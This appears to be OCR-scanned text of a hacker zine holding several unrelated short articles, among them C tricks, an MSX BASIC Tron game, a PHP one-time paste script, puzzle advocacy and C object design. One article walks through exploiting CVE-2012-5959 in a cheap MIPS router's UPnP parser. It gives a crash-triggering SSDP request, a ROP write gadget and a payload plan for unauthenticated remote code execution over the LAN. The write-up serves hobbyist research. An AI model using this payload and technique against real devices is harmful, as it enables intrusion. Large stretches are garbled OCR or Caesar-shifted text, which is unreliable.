node tried to transmit parallelly.

This is why the ID section in the CAN frame is commonly named as al

ANEISE S]}v(J]o U v ul ]85 %les] 0o 8} A

conditions, and priorities the messages between each other.

Please also note that theodes themselves do not have any

importance, and can only own messages, that are of different levels

of importance.

https://www.SystemyWbudowane.pl
https://www.youtube.com/@ SystemyWbudowane



Or would you? It is at the focal point of the LAN, making it the pe

for a LAN-gambling-party Blackjack host.

Target Router

This project started as a general
RE/VR project, focusing on bugs over
the LAN. Aliexpress always has cheap
embedded goodies with questionable se-
curity. Sorting the search results for
‘router ' by “lowest price rst ', | ended
up with this masterpiece for £11 (ames
not included).

Under the hood, it has a Mediatek
MT7628KN chip (MIPS architecture),
a labelled UART, and an SPI EEP-
ROM memory chip. The command
line on the UART allowed extraction of
the rmware from the EEPROM. Then,
base nd2 was used to work out the base
address, and it was loaded into Ghidra
(no symbols). Its underlying OS is eCos,
and it's built around an old Realtek
SDK.

Finding CVE-2012-5959

By auditing strcpy() calls, | spotted a
simple stack-based bu er over ow in
the SSDP parser in the UPnP library.
It turns out the ancient SDK uses a
version of libupnp vulnerable to an old
CVE! To trigger a crash, send:

M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
MAN:"ssdp:discover"

MX:3
ST:uuid:AAAAAAAAAAAA .. AAAAAAAAAAA

As the router has no mitigations (like
the good ol' days), this bug enables
unauthenticated RCE over the LAN.

Brainstorming Exploit

At the moment, we overwrite the re-
turn address with garbage that is not
mapped into memory, we need to jump
somewhere useful. We could put a shell-
code in our uuid buer and jump to
that - but it's de nitely not big enough
for a Blackjack server.

Alternatively, we can use ROP (Return-
Oriented-Programming) gadget(s) to
construct a larger shellcode in memory
via multiple requests. Using the follow-
ing gadget, we can write four bytes wher-
ever we please (provided it is mapped):

0x8013bel14:
sw $s0, ( $s1); Ilw $ra, 0xc( $sp);
move $v0, $s0; Ilw $s2, 8( $sp);
lw $s1, 4( $sp); Iw $s0, ( $sp);
jr $ra; addiu  $sp, $sp, 0x10;

The gadget increments the stack pointer

by 0x10 bytes. To avoid a crash, we set
the return address after the gadget runs

to the address of the stack frame two

frames up (each frame is 8 bytes). So,
we can now build our larger shellcode
in memory via multiple requests.

You Wouldn't Gamble on a Router

rfect candidate
Note: Gamble responsibly!

XOR Decoder

MIPS binaries tend to contain lots of
zeros. Because of the string-based na-
ture of our over ow, zeros are a no-go
as they terminate the string early. Our
write ROP gadget simply stores the con-
tents of $s0 at the address in$s1, both
taken directly from the bu er we send -
so the payload can't contain zeros.
Our payload should be small, placing a
simple XOR decoder at the start should
su ce. This runs before the payload,
iterating over the rest of the payload
and XOR'ing. We then wait to let the
caches naturally ush (thanks MIPS),
and jump to the decoded payload.

Shellcode Location

In eCos each thread gets its own mem-
ory area for its stack. The size of this re-
gion for the HTTP _proc thread is 16384
bytes, and during normal operation this
hovers around 40% utilisation. We can
borrow a chunk of this stack region for
our Blackjack payload.

Building Blackjack

To get our server running, we have two
options: create a new thread or hijack
an existing one. The thread named cpu-
load, which can only be activated via the
shell, is perfect for this. We can hijack
this thread by invoking the create_thread
function with identical addresses, substi-
tuting our blackjack server as the thread
function. As the cpuload thread is al-
ways suspended, the router carries on
as normal.

For the socket functionality, we must
reverse engineer the rmware and ex-
tract the address of anything we need
(listen(), recv(), bind() , etc). These ad-
dresses can then be hard-coded in our
payload, and used in our C code as func-

Afions. Most of the server goes together

like a standard UDP server example,
plus some extra logic for the game and
player management.

Compiling BlackJack

Our C program must run on MIPS, de-
spite being compiled on an x86 proces-
sor, so we'll need to cross-compile. For
this, | used crosstools-ng to construct
a toolchain, allowing me to compile
C on x86 into a MIPS binary. The
payload location is set in the linker le
we give to the compiler, so the code
knows where it is. Note: There are
also pre-built eCos toolchains available
at https://ecos.sourceware.org/build-
toolchain.html.

LAN-Gambling

With our payload put together, it ends
up being around 6000 bytes, so it ts
perfectly into the empty stack space
mentioned earlier. Now, we can send
multiple requests to construct the com-
piled Blackjack server into memory.
Once complete, we can jump to this
memory, decode the payload, wait for
caches to ush, then jump to the de-
coded payload which hijacks the cpuload
thread and runs the server function.
Once the thread is running, players can
connect to the server with netcat - once
all players are in, the game can begin!

https://github.com/Ir-m

IO
N Y Y Y A Y
/R A N A N B A VO VA A AN A W A

Welcome player 1!
Enter player count (including yourself)
> 3

Waiting for 2 other players to join...
Game starting!

As it stands:

- Player 1 has
- Player 2 has
- Player 3 has

$250
$250
$250

Place your bet player 1..

>
Player 1 has bet $10

Player
Player

is placing their bet
has bet $10

is placing their bet

has bet $10

2

2
Player 3
Player 3
1

cards:

Player

oA
I Cvy v
\ !

Player 3 has blackjack!

Dealers card

Player 1's move, current hand:

Q__ 11~ 1
FCvy by
| A N R A |
|
[— Iy J|

Stick or twist?
> s

Player 1 chose to stick
Player 1 final score: 20

Player 2's move, current hand:

Player 2 chose to twist, current hand:

7~ 1 __ e .

Player 2 chose to stick
Player 2 final score: 18

All players done...

The dealer's full hand is:

Dealer is twisting

Dealer's current hand:

K - 118 . T1A
(AN AN AN
CoThCor el
[ N
Kl 3| | Al

Dealer is twisting

Dealer's current hand:

| LS I < S I .Y _

A A N AR AN
GO L) . /A
I e O I A e N
K| | 31

Dealer is bust!

You won $10!




What ransomware groups are doing with stolen money?

KDWDUHUDQVRPZDUH JURXSY GRLQJ ZLWK VYV

7KH ULVH RI FU\SWRFXUUHQFLHV RSHQHG\W R CRRRIFVXIRWHRAEHNDHRPHQIHVLIQHG WR JLYH V
PRQH\ WR WKH SHRSOH DV WKH\ DUH EDVHG RIQUXHG HIiF ) /W DIDOD XMGK @ tHB/R VIRGHWIKRLO K W K H
OHYHO RI DQRQ\PLW\ DQG LW LV PXFK HDVERWUGHR XRY.KY IWHHP DRFRAUR ¥V OMKHHWY KDUGZDUH .
VRPHWKLQJ WKDW KHDYLO\ DWWUDFW VHD BMRURBEYPXQB OMIDQ ¥ B BW IDRQW KOHQIGGP BINH WKHP PR
E\ ODZ HQIRUFHPHQW :LWK WKH JURZLQHFYNSDVMRFXVHHQFD P RQRHWDVYHG QXPEHU RI UDQ
UHFHLYHG IURP DWWD®NMWGERRG SV FDHDWVOHG WKH FXUUHQ FR BYSWKRI POROINA HRE W M Q WKFAHE K H
E\F\EHUFULPLQDOV WKHVH GD\V HVSH¥ DRGOYDQWRPHE COUHNQHW PDUNH

%XBWKDW GRHM :HE DFWXDOO\ PHDQ" "DHUWY LHEH LWXRQLQJ RYHU WKH 2QLRQ SURWRFRO ZKLF
QHWZRUN ,WYV DKLGGHQ SDUW RI W KHO, @YWHOURIHMWR DAL \WUB Y GGHM. B KEUWKDW PD\ EH XVHC
UHDVRQV 7KH JRRG RQH LV HJ HVFDSHKURP QG RXQ\ED\BIVREHDEGBWRUIEHG PDUNHW ZKHUH
FULPLQDOV DUH VHOOLQJDQG EX\LQJLOOHJDO VHUYLFHV DQG SURGXFWYV

&U\SWR &ULPH 7UHQGY ,00LFLW $FWLYLW\XQBY DIVOF D% RWEDMY®R BMROHRQG 'DUNQHW ODUNHWYV 6
-$18$5< %< &+$,1$/<6,6 7($0 _/LQN KM\YBO\VIXYZFRE EORJ FU\SWR FULPH UHSRUW LQWU

'KDW LV KDSSHQLQJ ZLWK VWROHQ PRQH\"

'DUN :HERU\SWR PD\ EH XVHG WR SD\ IRU SURGXFW VWXHG' VU N @ HRMH ¥ COXNDH\G D EIOHH FRRRV W R [ W |
FU\SWRFXUUHQFLHY WKHUH DUH % LW ARLY® B\QRU DSOMRFRUQWH GIF/ISHM- DR 8 B\WOKRQHUR RU =FDVK
GHVLJQHG WR REIXVFDWH WUDQVDFW LREK @IWD U0 U DQUL QA MPEEFRKKQE-RK B VIVRDIMMU R R U

>IVS /RS[PIHKI 7YGGMRGX 2SR -RXIVEG XK MR/ KG DVWRX\WLSJ ERSEFPWS YWMRK E TVMZEX| FPS
TYFPMG SRIXLEX &MXGSMR YWIW

"V]TXS NGLERSQWXMQIW XLITYWI INGLERKIW XS W[ET BW]TXS @YV \8IR G WWW IXG ERKIW [MXLSY X
/=" TVSGIWW MJ TSWWMFPI SV YWI JEOI HSESGIWXMSRS\GEWRKAXWI XEERK VIUYMVI MX ,S[I1ZIV X
ETTVSEGL EW I\GLERKIW LEZI EGGIWW X SSRXEFS YE KXY.ENMIMRIBSFIQEWMLI FEROEGGSYRX [LIV
XVERWJIIVVIH SV -4 EHHVIWW XLEX QE]FMKIEPXM SR MR JYVXLIV MRZIW

411V XS TIIV XVERBWEGXWMEEER EPXIVREXMZI [E] XS I\GLERKI | I'VFX\SGVINQ X\REEFPW/EGEIMSRIWT XS Q
WXSPIR JYRHW JVSQ SRI GV]TXS [EPPIXPX% BWSLAYX BRHWRXINQERNERMIW 8LI] GER EPWS FY
NGPYWMZI VIWSYVGIW HMVIGXP] [MXL X3 KIGIS MR RARVEM\N NEXQNE\RE PLIEG L WTPMEOXW JYRHW MR
GV]TXS [EPPIXW

https://www.linkedin.com/in/katarinabrzozowska/



5 Little Programming Tricks

5 Little Programming Tricks
(from the archaic to the outright silly)

The cost of software maintenance increases with the square of the programmer's creativity.
First Law of Programmer Creativity,

1. Sleep Sort #l/bin/bash
Allegedly, Sleep Sort was originally proposed on 4chan. Presumably more with the intention function 01
of trolling the programming community than of solving any practical problems. sleep
Still, the idea behind the algorithm is rather ingenious: echo
- create a separate process or thread for each element to be sorted
- have each process sleep for a time proportionate to the input value while [-n ]
- collect the return values in sorted order as the processes exit do
While fairly useless as a sorting algorithm due to its ineciency and the constraints regarding f &
valid input, one area whereSleep Sort actually might be useful is as a teaching tool for shift
explaining concurrency and parallelism similar to hovBubble Sortis commonly used in done
teaching sorting algorithms. wait

2. Du 's Device

Robert D. Bliss

Listing 1: Sleep Sort

sen_d(to, from, count) Described in the Jargon Filé as "The most dramatic use yet seen of fall
register  short *to, *from; through in C®, Du 's Device makes creative use of C's syntax by
Eengter count; interleaving a do-while loop and a switch statement to manually unroll a
. loop.
register n= (count + )/ These days, unrolling loops manually is highly discouraged since it is almo:
switch  (count % ) { guaranteed to be counterproductive as it might break optimization strategie
case 0: do {*to=*from++; of modern compilers and lead to bigger code size and increased cache
case 7/: *to =*rom++; misses.
case 6:  *to = *from++; 3. C99 Compound Literals
case b5 *to = *from++; L
case 4:  *o = *from++ If you have done any amount of socket programming in C, you are probabl
: _ ! familiar with the following construct.
case 3. *to = *from++; int
case 2:  *to = *from++; Int one = .. .
case 1 *to = *from-++: setsockopt(s, SOL_TCP, TCP_NODELAY, &one, sizeof (one));
} while (--n > 0); C99 Compound Literals let us construct unnamed objects in-place to get ric
} of that annoying single-use variable.
} setsockopt(s, SOL_TCP, TCP_NODELAY,
— — ( int [){1}, sizeof (int));
Listing 2: Du’s Devic Another common use is construction of structs in place in a function call.
foo(( bar_struct_t ){ 1, f, O

3. HAKMEM ITEM 154

The myth that any given programming language is machine independent is

easily exploded by computing the sum of powers of 2.

If the result loops with period = 1 with sign +,
you are on a sign-magnitude machine.

If the result loops with period = 1 at -1,
you are on a twos-complement machine.

If the result loops with period > 1, including the beginning,
you are on a ones-complement machine.

If the result loops with period > 1, not including the beginning,
your machine isn't binary - the pattern should tell you the base.

If you run out of memory, you are on a string or Bignum system.

If arithmetic overflow is a fatal error, some fascist pig with a read-only mind
is trying to enforce machine independence. But the very ability to trap
overflow is machine dependent.

By this strategy, consider the universe, or, more precisely, algebra:
let X = the sum of many powers of two =...111111
now add X to itself; X + X =...111110
thus,2X=X-1s0o X =-1
therefore algebra is run on a machine(the universe)which is twos-complement.

(Gosper, R.W., HAKMEM, MIT Atrti cial Intelligence Laboratory, 1972}
5. The Story of Mel

And nally, no list of programming tricks would be complete without mentioning The Story of Melan "archetypical
piece of computer programming folklore®. If you have not read it before, | encourage you to check it out in The Jargon

File?.

1 Warren, Henry S., Jr. Hacker's Delight. 3rd ed., Addison-Wesley, 2013
2 http://www.catb.org/~esr/jargon/html/index.html

“ https://dspace.mit.edu/handle/1721.1/6086
5 https:/iwww.cath.org/~esr/jargon/html/story-of-mel.html

3 http://iwww.catb.org/~esr/jargon/html/D/Du s-device.html 8 https://en.wikipedia.org/wiki/The_Story_of_Mel

https://www.tlck.de
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Apparently | didn't understand cPython's INPLACE_ADD and then someone stole it!
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EasyTrOn

EasyTrOn

Santiago Garcia-Jimenez
https://github.com/4nimanegra/EasyTrOn

This magazine transports me to the older and bet-
ter times of computer culture. | remember the old
magazines like MSX software , MicroHobby , etc...
where people learned how to program on those comput
ers through source code and short comments attachec
on it.

| dusted o my old MSX and started programming
a simple game again like a long time ago, with a single
page constraint. Here is the result, a tron game called
EasyTrOn with a simple code where you play as one of
the light motorcicles and the computer has a simple Al.

If you do not have an MSX or simply do not have an
old CRT screen, this code can also be played on an em
ulator. Just copy and paste the code on anMSX with
the Microsoft Basic , the default OS on most MSX
computers.

5 REM'SCREEN MENU IN TEXT MODE"
6 REM'TWO POSSIBLE OPTIONS"

7 REM'START THE GAME OR EXIT"

10 SCREEN 0

20 LOCATE 10,3

30 PRINT

40 LOCATE 5,10

50 PRINT

60 LOCATE 5,15

70 PRINT

75 REM'WHILE NO VALID OPTION, REPEAT"
80 A$=INKE®

90 IF A$="1" THEN110

100 IF A$="2" THEN2010 ELSES0

105 REM'PLAY SCREEN, GRAPHIC MODE"
110 SCREEN 3

111 REM'WE WILL DEFINE COLORS HERE"
112 C1=7

114 C2=8

116 C3=2

117 REM'THE COLOR FOR BACKGROUND"
118 CB=4

119 REM'LETS MAKE THE LEVEL LIMITS"
120 LINE(0,0)-(256,0),C1

130 LINE(0,0)-(0,192),C1

140 LINE(0,192)-(256,192),C1

150 LINE(256,0)-(256,192),C1

155 REM'DEFINE PLAYER START POSITION"
160 Y=96

164
166
175
176
177
180
185
1190
195
199
200
207
208
209
210
220
230
240
245
250
255
256
260
270
280
290
295
296
300
305
306
307
310
320
330
340
350
360
365
370
375
376
380
390
400
410

X=10
X2=246

REM'AND THE PLAYER DIRECTION"
REM'0,1,2,3 EACH NUMBER"
REM'DIFFERENT DIRECTION"

D=0

D2=2

LINE(X,Y)-(X,Y),C2

LINE(X2,Y2)-(X2,Y2),C3

REM'READ THE KEYS AND START PLAYING'
AB=INKE¥

REM'LEFT OR RIGHT WILL ADD OR REMOV
REM'1 TO PLAYER DIRECTION. IT WILL"
REM'SIMULATE THE TURN"

IF A$=CHR(28) THEND=D+1

IF A$=CHR(29) THEND=D-1

IF D < 0 THEND=D+4

IF D > 3 THEND=D-4

REM'ESC WILL STOP THE GAME"

IF A$=CHR(27) THEN GOTZDOO
REM'DIFERENT VALUES FOR DIRECTION"
REM'MOVES PLAYER ON DIFFERENT AXIS"
IF D=0 THENX=X+4

IF D=1 THENY=Y+4

IF D=2 THENX=X-4

IF D=3 THENY=Y-4

REM'IF THE COLOR OF NEW POSITION IS NOT"
REM'BACKGROUND COLOR IT IS A WALL"
IF POINTX,Y) <> CB THEN GOTZDOO
REM'NOW THE Al PLAYER MOVEMENT"
REM'BEFORE MOVE TEST IF"

REM'WE CAN MOVE IN THE SAME DIRECTIQN"
X3=X2

Y3=Y2

IF D2=0 THENX2=X2+4

IF D2=1THENY2=Y2+4

IF D2=2 THENX2=X2-4

IF D2=3 THENY2=Y2-4

REM'IF WE CAN MOVE, DO IT"

IF POINT(X2,Y2) = CB THEN GOTI®0
REM'ELSE, TEST IF WE CAN MOVE TO"
REM'ANOTHER DIRECTION"

D2=4

IF POINTX3+4,Y3) = CB THEND2=0

IF POINT(X3,Y3+4) = CB AND D2=FHEND2=1
IF POINT(X3-4,Y3) = CB AND D2=4THEND2=2

420 IF POINT(X3,Y3-4) = CB AND D2=4'HEND2=3
425 REM'IF NOT POSSIBLE, Al LOSES"

430 IF D2=4 THEN GOTZDOO

435 REM'IF Al CAN MOVE, LETS MOVE IT"

440 X2=X3

450 Y2=Y3

455 REM'LETS ITERATE FOR A NEW MOVEMENT"
460 GOTG10

1995 REM'EXITING FROM PLAYING SCREEN"
2000 GOTAO

2005 REM'EXITING FROM GAME"

2010 PRINT

162 Y2=96

https://github.com/4nimanegra
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Generate ASCII-Root-Art using formal grammar and randomness

JHQBURRW
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@janamarie@chaos.social https://github.com/Jana-Marie




Peaceful Waves (top), City Lights (bottom)

Mich-Spich




#E C E
C - E
U.EIa0RA«i20E
0C EGC E E E
CE
Ec Y CH
CE J E E J C /
¢ C E ¢
cC Y

b iTOE E i2EVY2ib>2.ifib

AOODBAYAI OgO t,E4Y. bY4a AOOD
b i"OE E i2EV2ipéeb

AOODBaYal Ogd f«<UEAYs PYa AOOD

yyyyyyyyy

E G
‘Y1 E |/ C E E
E E E E C
E E E E C Y %
C . ®
E C E Y
UEA 2B2V 1"OERAIYO>Y
1 EC C E
L(. M CE E
Y d CE E
E E C H
E Y 1 E HE C E
E E E C E
Y / C
Y
<<< 328
<<<
<<< 110
000 y2ei i
000
<<< (ife}
000 g6
000
<<<>230 247"
f . Y ]hC ,
N ., =J a&=J = f IDh==0>2¢i1i
f" == s
., Y chYDas =h
<<<>230 287"
f , Y ]hC
” ., h.= &acv
1Y chYD&as =h
E D1 E E E Ec
Y ) EE CC
L E
E M
L E M |
L E E E
MY
% E E
C E E E H
G
E YO D
1 c |/ Cc $: 8 +
E Y

"T1ipadaar2iTi"0-OEap iTOE4a-p iTOE

https://madebyme.today/

Ma, why is dict() slower than {} in Python?

U YizE2 AOARE V i OER&Ofa-YO>YV

( E E E E E
E HE d E
d Y1 C E E EH
E z
Y % E E E
C LE ( E / MY
1 E E EE E C JE
E Y
(Y 1 C LE ( E /
M E E E
E E LE MY

0 E E E

F 3 E [

EC C H

E E d Y
2EAF h.= aC & U AAYidpb ak,i E"Bwi é

E"P8 a4V 2+ia%aOE.IVEA&

UCARYG L, O
UCARYGIO L0
~_ Op~a%a

aa UuUu
e
1 E E E E

E Y /
E JE E E

J GE E E E / E E H

E Ecc E Y

V 3"%YRNEV 2:18%a0E.i¥VE8 UUUiNa

e
aa 000
V J"%YeRb2ei 8 C J J C 12EiYa® AYE20
AE2+ 0%
1>2+1 88 Dh=i=é
Dh=&
o
aa 000
TV a44&2 Vai 8 ,a2 CAYE2iZ 2001 &
da .Eavaia YEia2va
s
>2e7 4
s
H
U OEAm20E4
3 . z
\ E
\
\ E E C
\ E C E E
Y
3 E
Z
\ E E E E
E
\ E E H H Y



More Type-level programming
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Puzzles as Algorithmic Problems

Puzzles as Algorithmic Problems

This article is a brief advocacy for the use of puzzlesthe question. This is a common theme in competitive
as algorithmic problems for learning purposes as anprogramming problems. The author has some solution
alternative to the current style of Competitive Program- in mind, usually by combining a few techniques or al-
ming(CP) or Mathematics problems. gorithms in a clever way, and the problem solver has

The current trend in how to learn algorithms is to gure outthat speci ¢ solution.

mostly based on big tech companies and their NI Thisis in stark contrast to real-world problems. Inareal-

view process. This process is interleaved with theWorld problem, there is no existing solution that you

ICPC(International Collegiate Programming ConteSthave to discover. Of course the tricks and techniques

style of competitive programming, where a problem is . :

usyuall a corpnbinatign c?r ada ta'?ion of sevepral known you learn from competitive programming can be ap-
Y acap plied to real-world problems, but the process of solving

algorithms or mathematical concepts. | see four prob- oo 1.world problem is much more open-ended. You

lems with this approach: also need to decide on your constraints yourself, un-

1. The problems are not real-world problems like the constraints given in competitive programming
2. The problems have pre-de ned and deter-  problems.What does it mean for your algorithm to
mined solutions be fastenough ? Even furtherwhat does it mean
3. The problems are very hard to solve if you foryouralgorithmtobe correct?  InCP, the answer
don't already know the solution isusually passes all test cases, butin the real world,
4. The problems are not fun the answer is not so clear-cut.

Let me elaborate on these points by walking through Given such discrepancies, | am proposing solving puz-
the process of solving a LeetCode problem. | pickedzles by devising algorithms for them as an alternative
amedium problem with 34.5% solve rate, 3Sum. Theto CP problems. The puzzles are actually fun to work
problem statement is as follows: with, they aren't designed to be solved algorithmically,
so there is no solution you have to discover, you ac-
tually have to invent a solution. These puzzles can
be anything from variants of Sudoku to small Chess
problems, any puzzle that doesn't require any special
knowledge to solve. The fact that you have to de ne
your own constraints makes solving puzzles a much

h . luti ldb imoly b ; h better approximation of real-world problem solving
The naive solution would be to simply brute force the ,,, cp problems. Solving a puzzle algorithmically

entire array, which would be O(n 3). This is obviously means that(1) you must de ne your constraint for cor-

not the intended solution, so we are led to think where rectness and performance, as well as the space of in-
wecan optimize. A cIa;sic approach fo_r array questionsputs you are interested in,(2) you must devise a robust
isto rst sc_)rt_the_arra_ly inthe hope that it will allpw for testing strategy,(3) you must model the problem space
some optimization in the aIg_onthm. A er sorting the as a data structure in the programming language, per-
array, we can use the two-pointer technique to ndthe .o think about the trade-o s between di erent rep-
riplets. resentations of the problem space(4) you must devise
As you might've realized when reading the above para-an algorithm that solves the problem, and5) you must
graph, I didn'tinvent anything when solving the ques- implement the algorithm and test it. Together, | be-
tion. In fact, the author already had an optimal solu- lieve these steps are a much better approximation
tion, as well as a naive one, when they were writing of real-world problem solving than CP problems.

Given aninteger array nums, return all the triplets
[nums]i], nums][j], nums[k]] such thati!=j,i!=
k, and j!=k, and numsJi] + numsJj] + nums[k] ==
0. Notice that the solution set must not contain
duplicate triplets.

Figure 1 an example of a puzzle that | solved recently.
Yourtaskisto nd aset ofbrusheghat paint the source
into the target canvas. For this particular example,
brushing order A-F-B-D is the solutiorCan you devise
a general algorithm for solving this puzzle for any
source and target canvas in any size? If you're inter-
ested, you can also read my solution at

i _ https://www.alperenkeles.com/blog/paintbrush.
Figure 1: Paintbrush Puzzle

https://alperenkeles.com/blog https://twitter.com/keleesss
ss



Quick introduction to model-based design in C
Quick introduction to model-based
; ; /I Foo.c
design in C "Eoo h"
Imagine you have such a class interface in C++: struct  Foo_prv { Pk
foo_init (struct Foo *this ) {...}
class Foo { foo_quit (struct Foo *this ) {...}
private : foo_doSth (struct Foo *this , arg) {..}
p; /I property . )
public : struct Foo_prv describes the private part of your class.
Foo(): Keep in mind that you need to allocate memory pointed
~Foo(,)' to by prv in foo_init . Notice that providing a forward
virtual, dosth( arg); /I do something declaration of Foo_prv is optional. If you try to access
¥ ' the private member p, you will get the invalid use of

How would you implement it in C? Well, it depends on

undefined type “struct Foo prv' compilation error
in gcc. If you want to have public members, keep them

its use cases, but in general, according to Bruce Poweldirectly in struct Foo.

Douglass, you have three possible approaches:

Functional Design ,
Object Based Design ,
Object Oriented Design

In this article, | will cover all of them.

Functional Design

Assume that you only need a single instance of the above
class, i.e. you want a singleton. In that case, the prob-
lem reduces to representing the class as a pair of in
terface/implementation les. Let's take a look at my
proposed solution:

/I Foo.h
foo_init (); // Foo()
foo_quit (); // ~Foo()
foo_doSth ( arg);

/I Foo.c

"Foo.h"
p;

foo_init () {..}
foo_quit () {...}
foo_doSth ( arg) {...}

Object Oriented Design

OK, we cannot turn our heads the other way forever -
doSth has the virtual specier. As you should know,
it means any instance of the class can have its own
variant of doSth In that case, you could implement that
behaviour by using a function pointer. Look:

/I Foo.h

struct Foo,

typedef (* foo_doSth_ptr )
(struct Foo *this |, arg);

struct Foo { struct Foo_prv *prv;

/I initialize doSth pointer in foo_init
foo_doSth_ptr doSth ; };
foo_init (struct Foo *this );
foo_quit (struct Foo *this );

/I you can call doSth like this:

struct Foo *foo = ..

foo->doSth(foo, 5);

/I you can wrap it in foo_doSth(...) to make
/I the syntax consistent, but it's up to you

Subclassing

The code above is straightforward. Notice that | used How would you implement a subclass then?struct Sub-
pre xes to indicate membership of public functions 10 cjassshould be a valid instance ofstruct BaseClassafter
the class interface. Private members of the class aréype casting, so struct SubClassshould have overlap-

hidden by using the static keyword, limiting their scope ping memory layout with respect to struct BaseClass
to a single le. Example:

struct Bar { struct Foo super; // base class
a, b; }; // public fields

bar_init (struct Bar *this ) {

struct Foo *fooptr = (struct

foo_init (fooptr );

this ->a = 5; this ->b = 10; }

Object Based Design

What if the assumption you made is not valid, i.e. you
want to have multiple instances of the class? No problem,
represent each class with a structure, then! Let's forget
for a moment about the virtual speci er of doSth

Foo *)& bar;

/| Foo.h Are there any subclassing implementations that do not
struct Foo_prv; // optional declaration rely on memory layout overlapping? Sure, there are!
struct Foo { struct Foo_prv *prv; }: One of the examples is object oriented inheritance im-
foo_init (struct Foo *this ) plemented in Linux kernel. If you are interested in the
foo_quit (struct Foo *this ); topic, read about container_of(ptr, type, member) and
foo_doSth (struct Foo *this | arg); o setof(type, member) macros.

https://szymor.github.io/



Tiny "One Time Paste" The PHP Way

divCKv du
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Sooner or later, some of us might find themselves in need
of passing information to another person quickly. There

are many services that allows you to paste code snippets
but | rarely remember their addresses. And also, do they
allow simple plaintext access? What happens when |
remove such a paste? Is it really permanently erased?

Assumptions

X After being displayed once, paste will
automatically removed.
Easy upload/download from command line using
curl t no fancy ajax forms.
The less code, the better.

be

X

Issues

[1] Initially, | thought that it would be possible to easily
receive and save files using php://input wrapper. But it
turned out that this method gets rid of new line characters
if the user used-data instead of-data-binary in curl, and
that would be confusing (cuglfault, but still).

[2] Abandoning this idea, | thought of using the file upload
method provided by PHP developers - utilizing $_FILES
array. "The uploaded file will only be on the serverafor
brief moment anyway, so cave leave it in /tmp and read
from there?". A bold idea, but it turns out that the
unmoved file won't be left until the system reboot, and
will be deleted just after the script finishes its work.

[3] In the meantime, | had a reflection that the ability to
downloadafile directly (using typical HTTP to FS mapping)
would be problematic when you want to delete it, and |
wanted to exclude the need to use mod_rewrite or similar
mechanisms.

Solution

Perhaps the naming convention (CRC32 checksum on a
timestamp) isn't very elegant, but it provides sufficient
uniqueness and ease of rewriting the name.

Use of basename() prevents path manipulation, and
operating on _GET array key instead of its value will not
only eliminate the need to declare an additional variable
with the name of the resource being read, but also
prevent attempts to read files with extensions (e.g.
index.php), due to automatically replacirfg_with ~ _
(yes, really).

<?php

if($_FILES)
move_uploaded_file($_FILES[O]['tmp_name],

$f = sprintf("%x", crc32(time()))) and

die($f);

if($_GET)
if(file_exists($f =
basename(key($_GET))))
{

echo file_get_contents($f);
unlink($f);
}

This can be saved as index.php and served via PHP built-in
HTTP server:

$php -S0.0.0.0:8000
[Sat Oct 22 11:17:27 2022] PHP 7.4.30

Development Server (http://0.0.0.0:8000)
started

Upload:

$ curl http://addr:8000/
5532bedc

- F "=@poc.txt"

Accessing is just as simple and hassle-free:

$ curl http://addr:8000/?5532bedc
foo

bar
$ curl http://addr:8000/?5532bedc

Of course, it should be borne in mind that the server
embedded in PHP is considered an experimental
functionality and it's not recommended to be run in

production environments. It also does not support

cryptographic methods for securing the connection,
which can be remedied by using another, more complex
server,i.e.: Apache.

Lastly - presented solution is an ad-hoc option. When in
need of an actual secure solutiopou may need to
approach the topic iacompletely different way from the
one presented above.
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Type-level programming
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The FM RF Archival Method; The End of Analog Media Digitisation!

9+6 /DVHU'LVF DOO WKH ZD\WR 6037( & ~ 4XP & IZOIIURH WWGSFKDIUGEZ DURBD QG OHJDF\ VWDQGD U
IORRGHG ZLWK ,&V IURP $7, 3DQDVRQLF &R KDPUGW ERDWRW IIHRYQWF BQ&EID PDVVLYH VFDOSLQJ
-9& 3DQDVRQLF KDUGZDUH GXH WR EXLO W& DLW R Y B\QRRIUHEWROVIRU 9LGHR +L % HWI
GHFNV DORQJVLGHDQ\UDFNPRXQW WAL MW RYH RRUGHBW HRRXORIEQI U G V WR V RI 86"
RILQIODWLRQ 7RGD\ WKH GHDWK RI MBQHEAYWD B QKKOMGEZDHG VRIWIL. Q VWRQW WKDQNV WR W

,Q +HZ +RZ &KHH PDGH WKH &;$'& GULYHU

KWWSV JLWKXE FRP KDSS\AXXEH) EQD@FUDIQIX[RI JHQHULF

HUD &RQH[DQW %&;" VHULHV R1$,2 GHFRG LQWFK EDEWXWRQJ PK] |
$'&V ZLWK ODWHU H[SDQVLRQ E\ &KDG 3DJHL\NH WKALYISPQ LGHD V
VLJQDO RI/DVHU'LVFV OHDGLQJWR WKH 'RPHV'D\ SURMHFW
KWWSY ZZZ GRPHVG®QE WKRP'RPHV'D\ 'XSOLFDWRU

KWWSV _JLWKXE FRP KDSS\EFXEH O'G SEH FREVRAZK B 1/ WRORGHO/IBLDG
IRU/DVHU'LVF DUFKLYDO WRGD\ KRZHEHUVR®@ P\VHOTRQD$®M
SURFHVV RIWULDO HUURU IRXQG WKHVHQIBZGRKLQHPMB&:; FKLS FD
ELW ZLWK MXVW D QHZ 86' FU\WWDO VZDS P@IHI8QJ WKH &; &DUGV
GULYHU WKH PRVW SRZHUIXO 3&,H GLUHFW 0\ WFGEDH' BREIODWIRUP
FRQVXPHUV DWDQLQFUHGLEOH ORZ FRVW RI 86'D FDUG

7KLV GULYHU KDV VLQFH H[SDQGHG LQWR PXOWL FDUG VXSSRUW
VIQFKURQLVHG FORFN VXSSRUW KDUGZDUH ZLWK WKH FORFNJHQ PRG
KWWSV JLWKXE FRP R\YLOGOOQ YRWGHFRGH ZLNL &ORFNJHQ O
EXLOGLQJD QHZ VWDQGDUG IRUDIIRUGDEOH PXOWL FKDQQHO 5)

FDSWXUH DORQJVLGH VWDQGDUG DXGLR $'& ERDUGV IRU OLQHDU

DQG KLILUHIHUHQFH FDSWXUH PHDQLQJDOOVLJQDO GDWD FDQ EH
DXWRPDWLFDOO\DOLJQHG LQ SRVW SURGXFWLRQ ZLWK HYHQ WKH FU\VWDO
UDWHV EHLQJHQWLUHO\VRIWZDUH GHILQHG IRU WKH LQLWLDO FDSWXUH

7KH)05) DUFKLYDO ZRUNIORZ LV VLPSOH YLUWXDOO\
975 RI\RXU GHVLUHG IRUPDW ILQG WHVW SRLQWYV
KWWSV JIWKXE FRP R\YLOGOOQ YRVIGWMFRGH ZLNL
ZLWK FKURPD OXPD IRUFRORXU XQGHU 9+6 %HWDPD]
FRPSRVLWHPRGXODWHG VLIQDOV /DVHUGLVF 6037( &
IRUGXDO FKDQQHO IRUPDWYV VXFKDV: 9+6 %HWDFDP
